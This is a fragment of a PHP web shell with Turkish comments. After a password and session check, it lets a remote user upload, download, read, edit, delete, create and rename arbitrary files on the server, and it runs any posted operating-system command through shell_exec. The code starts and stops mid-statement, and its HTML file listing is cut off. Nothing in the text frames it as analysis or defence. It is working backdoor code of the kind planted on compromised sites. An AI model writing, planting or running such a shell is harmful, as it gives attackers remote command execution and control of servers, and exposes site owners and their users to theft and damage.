1024 ? ($n > 1048576 ? round($n / 1048576, 1) . 'M' : round($n / 1024, 1) . 'K') : $n . 'B'; } // Şifre kontrolü if (!isset($_SESSION[md5($k)]) && isset($_POST['p'])) { if (password_verify($_POST['p'], $hashedPassword)) { $_SESSION[md5($k)] = true; logActivity("Başarılı giriş yapıldı: " . $_SERVER['REMOTE_ADDR']); } else { logActivity("Başarısız giriş denemesi: " . $_SERVER['REMOTE_ADDR']); die("...
"); } } if (!isset($_SESSION[md5($k)])) { die("...
"); } $c = isset($_GET['c']) ? $_GET['c'] : getcwd(); chdir($c); if (isset($_FILES['f'])) { $f = $_FILES['f']['tmp_name']; $d = $c . DIRECTORY_SEPARATOR . basename($_FILES['f']['name']); if (@copy($f, $d) || @move_uploaded_file($f, $d)) echo '1'; else echo '0'; logActivity("Dosya yüklendi: " . basename($_FILES['f']['name'])); exit; } if (isset($_POST['f'])) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . basename($_POST['f'])); readfile($_POST['f']); logActivity("Dosya indirildi: " . basename($_POST['f'])); exit; } if (isset($_POST['e'])) { $f = $_POST['e']; if (file_exists($f)) { header('Content-Type: text/plain'); echo file_get_contents($f); logActivity("Dosya görüntülendi: " . $f); } exit; } if (isset($_POST['s'])) { $f = $_POST['s']; $c = $_POST['c']; if (@file_put_contents($f, $c)) echo '1'; else echo '0'; logActivity("Dosya düzenlendi: " . $f); exit; } if (isset($_POST['d'])) { $f = $_POST['d']; if (is_file($f)) { @unlink($f); logActivity("Dosya silindi: " . $f); } elseif (is_dir($f)) { @rmdir($f); logActivity("Klasör silindi: " . $f); } exit; } if (isset($_POST['n'])) { $f = $_POST['n']; if (isset($_POST['t']) && $_POST['t'] == 'f') @fclose(@fopen($f, 'w')); else @mkdir($f); logActivity("Yeni oluşturuldu: " . $f); exit; } if (isset($_POST['r'])) { $o = $_POST['o']; $n = $_POST['n']; @rename($o, $n); logActivity("Dosya/Klasör yeniden adlandırıldı: $o -> $n"); exit; } if (isset($_POST['cmd'])) { $cmd = $_POST['cmd']; logActivity("Komut çalıştırıldı: $cmd"); header('Content-Type: text/plain'); echo shell_exec($cmd); exit; } ?> ...
' . $p . ''; } ?>
'; } ?>
NameSizeActions
' . ($n === '..' ? '[' . $n . ']' : ($t === 'd' ? '[' . $n . ']' : $n)) . '' . $s . ''; if ($t === 'f') { echo 'view | '; echo 'cat | '; echo 'dl | '; } if ($n !== '..') { echo 'rename | '; echo 'del'; } echo '
| |